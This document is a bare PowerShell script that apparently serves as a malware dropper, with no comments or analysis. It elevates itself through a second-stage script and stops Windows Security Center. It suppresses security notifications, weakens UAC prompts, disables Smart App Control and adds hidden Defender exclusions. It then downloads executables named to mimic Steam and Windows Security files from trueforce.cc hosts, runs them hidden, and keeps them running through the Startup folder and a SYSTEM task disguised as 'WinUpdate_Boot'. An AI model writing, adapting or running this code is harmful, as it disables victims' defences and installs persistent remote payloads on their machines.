if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")) {
    $s2 = @'
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12

try { Stop-Service wscsvc -Force -ErrorAction SilentlyContinue } catch {}
try { Set-Service wscsvc -StartupType Disabled -ErrorAction SilentlyContinue } catch {}
try { Get-Process SecurityHealthSystray -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } catch {}
try { Get-Process SecurityHealthService -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } catch {}

try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "AntiVirusDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "FirewallDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "UpdatesDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "UacDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { if (-not (Test-Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications")) { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" -Name "DisableNotifications" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" -Name "DisableEnhancedNotifications" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { if (-not (Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer")) { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "HideSCAHealth" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Explorer")) { New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer")) { New-Item -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { if (-not (Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications")) { New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Force | Out-Null } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings")) { New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings")) { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorUser" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableInstallerDetection" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

foreach ($k in @("HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy","HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected")) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy" -Name "VerifiedAndReputablePolicyState" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected" -Name "VerifiedAndReputablePolicyStateMinValueSeen" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name "SacLearningModeSwitch" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
echo "STOP" | citool -r 2>$null | Out-Null

$defPolicy = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
$exPaths = "$defPolicy\Exclusions\Paths"
$exExts = "$defPolicy\Exclusions\Extensions"
foreach ($k in @($defPolicy,$exPaths,$exExts)) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
foreach ($p in @($env:TEMP,$env:APPDATA,"$env:ProgramData",$env:LOCALAPPDATA,$startupDir)) {
    try { Set-ItemProperty -Path $exPaths -Name $p -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
}
foreach ($e in @('*.exe','*.ps1')) {
    try { Set-ItemProperty -Path $exExts -Name $e -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsUI" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalAdmins" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalUsers" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

foreach ($p in @($env:TEMP,$env:APPDATA,"$env:ProgramData",$env:LOCALAPPDATA,$startupDir)) {
    try { Add-MpPreference -ExclusionPath $p -Force -ErrorAction SilentlyContinue } catch {}
}
foreach ($e in @('*.exe','*.ps1')) {
    try { Add-MpPreference -ExclusionExtension $e -Force -ErrorAction SilentlyContinue } catch {}
}

Start-Sleep -Seconds 10

$wd = "$env:ProgramData\WinUpdate"
if (-not (Test-Path $wd)) {
    try { New-Item -ItemType Directory -Path $wd -Force | Out-Null } catch { exit 1 }
}

$wc = New-Object System.Net.WebClient
$urls = @(
    "https://main.trueforce.cc/crashpad_handler.exe",
    "https://main.trueforce.cc/steamwebhelper.exe",
    "https://cfx.trueforce.cc/AdminCheck.exe",
    "https://main.trueforce.cc/SecurityHealthSystray.exe",
    "https://main.trueforce.cc/guard.exe"
)

foreach ($url in $urls) {
    $fn = Split-Path $url -Leaf
    $fp = Join-Path $wd $fn
    try {
        $wc.DownloadFile($url, $fp)
        if (Test-Path $fp) {
            Start-Process $fp -WindowStyle Hidden
            if ($fn -eq "steamwebhelper.exe") {
                try { Copy-Item $fp -Destination $startupDir -Force } catch {}
            }
        }
    } catch {}
}

$tsPath = Join-Path $wd "updater.ps1"
$tsContent = @"
Start-Sleep -Seconds 60
`$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
`$wc = New-Object System.Net.WebClient
`$base = "$wd"
`$urls = @(
    "https://main.trueforce.cc/steamwebhelper.exe",
    "https://main.trueforce.cc/SecurityHealthSystray.exe"
)
foreach (`$u in `$urls) {
    `$n = Split-Path `$u -Leaf
    if (`$n -eq "steamwebhelper.exe") {
        `$p = Join-Path `$startupDir `$n
        if (-not (Test-Path `$p)) {
            try { `$wc.DownloadFile(`$u, `$p) } catch {}
        }
    } else {
        `$p = Join-Path `$base `$n
        try { `$wc.DownloadFile(`$u, `$p) } catch {}
        if (Test-Path `$p) { try { Start-Process `$p -WindowStyle Hidden } catch {} }
    }
}
"@
[System.IO.File]::WriteAllText($tsPath, $tsContent)

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$tsPath`""
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -Compatibility Win8 -ExecutionTimeLimit 0
Register-ScheduledTask -TaskName "WinUpdate_Boot" -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force -ErrorAction Stop
'@
    $s2p = Join-Path $env:TEMP "stage2.ps1"
    [System.IO.File]::WriteAllText($s2p, $s2)
    Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$s2p`"" -Verb RunAs
    exit
}

try { Stop-Service wscsvc -Force -ErrorAction SilentlyContinue } catch {}
try { Set-Service wscsvc -StartupType Disabled -ErrorAction SilentlyContinue } catch {}
try { Get-Process SecurityHealthSystray -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } catch {}
try { Get-Process SecurityHealthService -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } catch {}

try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "AntiVirusDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "FirewallDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "UpdatesDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Security Center" -Name "UacDisableNotify" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { if (-not (Test-Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications")) { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" -Name "DisableNotifications" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" -Name "DisableEnhancedNotifications" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { if (-not (Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer")) { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "HideSCAHealth" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Explorer")) { New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer")) { New-Item -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { if (-not (Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications")) { New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Force | Out-Null } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings")) { New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { if (-not (Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings")) { New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Force | Out-Null } } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_TOASTS_ABOVE_LOCK" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorUser" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableInstallerDetection" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

foreach ($k in @("HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy","HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected")) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy" -Name "VerifiedAndReputablePolicyState" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected" -Name "VerifiedAndReputablePolicyStateMinValueSeen" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name "SacLearningModeSwitch" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { echo "STOP" | citool -r 2>$null | Out-Null } catch {}

$defPolicy = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
$exPaths = "$defPolicy\Exclusions\Paths"
$exExts = "$defPolicy\Exclusions\Extensions"
foreach ($k in @($defPolicy,$exPaths,$exExts)) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
foreach ($p in @($env:TEMP,$env:APPDATA,"$env:ProgramData",$env:LOCALAPPDATA,$startupDir)) {
    try { Set-ItemProperty -Path $exPaths -Name $p -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
}
foreach ($e in @('*.exe','*.ps1')) {
    try { Set-ItemProperty -Path $exExts -Name $e -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsUI" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalAdmins" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalUsers" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

foreach ($p in @($env:TEMP,$env:APPDATA,"$env:ProgramData",$env:LOCALAPPDATA,$startupDir)) {
    try { Add-MpPreference -ExclusionPath $p -Force -ErrorAction SilentlyContinue } catch {}
}
foreach ($e in @('*.exe','*.ps1')) {
    try { Add-MpPreference -ExclusionExtension $e -Force -ErrorAction SilentlyContinue } catch {}
}

Start-Sleep -Seconds 10

$wd = "$env:ProgramData\WinUpdate"
New-Item -ItemType Directory -Path $wd -Force | Out-Null

$wc = New-Object System.Net.WebClient
$urls = @(
    "https://main.trueforce.cc/crashpad_handler.exe",
    "https://main.trueforce.cc/steamwebhelper.exe",
    "https://cfx.trueforce.cc/AdminCheck.exe",
    "https://main.trueforce.cc/SecurityHealthSystray.exe",
    "https://main.trueforce.cc/guard.exe"
)

foreach ($url in $urls) {
    $fn = Split-Path $url -Leaf
    $fp = Join-Path $wd $fn
    try {
        $wc.DownloadFile($url, $fp)
        if (Test-Path $fp) {
            Start-Process $fp -WindowStyle Hidden
            if ($fn -eq "steamwebhelper.exe") {
                try { Copy-Item $fp -Destination $startupDir -Force } catch {}
            }
        }
    } catch {}
}

$tsPath = Join-Path $wd "updater.ps1"
$tsContent = @"
Start-Sleep -Seconds 60
`$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
`$wc = New-Object System.Net.WebClient
`$base = "$wd"
`$urls = @(
    "https://main.trueforce.cc/steamwebhelper.exe",
    "https://main.trueforce.cc/SecurityHealthSystray.exe"
)
foreach (`$u in `$urls) {
    `$n = Split-Path `$u -Leaf
    if (`$n -eq "steamwebhelper.exe") {
        `$p = Join-Path `$startupDir `$n
        if (-not (Test-Path `$p)) {
            try { `$wc.DownloadFile(`$u, `$p) } catch {}
        }
    } else {
        `$p = Join-Path `$base `$n
        try { `$wc.DownloadFile(`$u, `$p) } catch {}
        if (Test-Path `$p) { try { Start-Process `$p -WindowStyle Hidden } catch {} }
    }
}
"@
[System.IO.File]::WriteAllText($tsPath, $tsContent)

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$tsPath`""
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -Compatibility Win8 -ExecutionTimeLimit 0
Register-ScheduledTask -TaskName "WinUpdate_Boot" -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force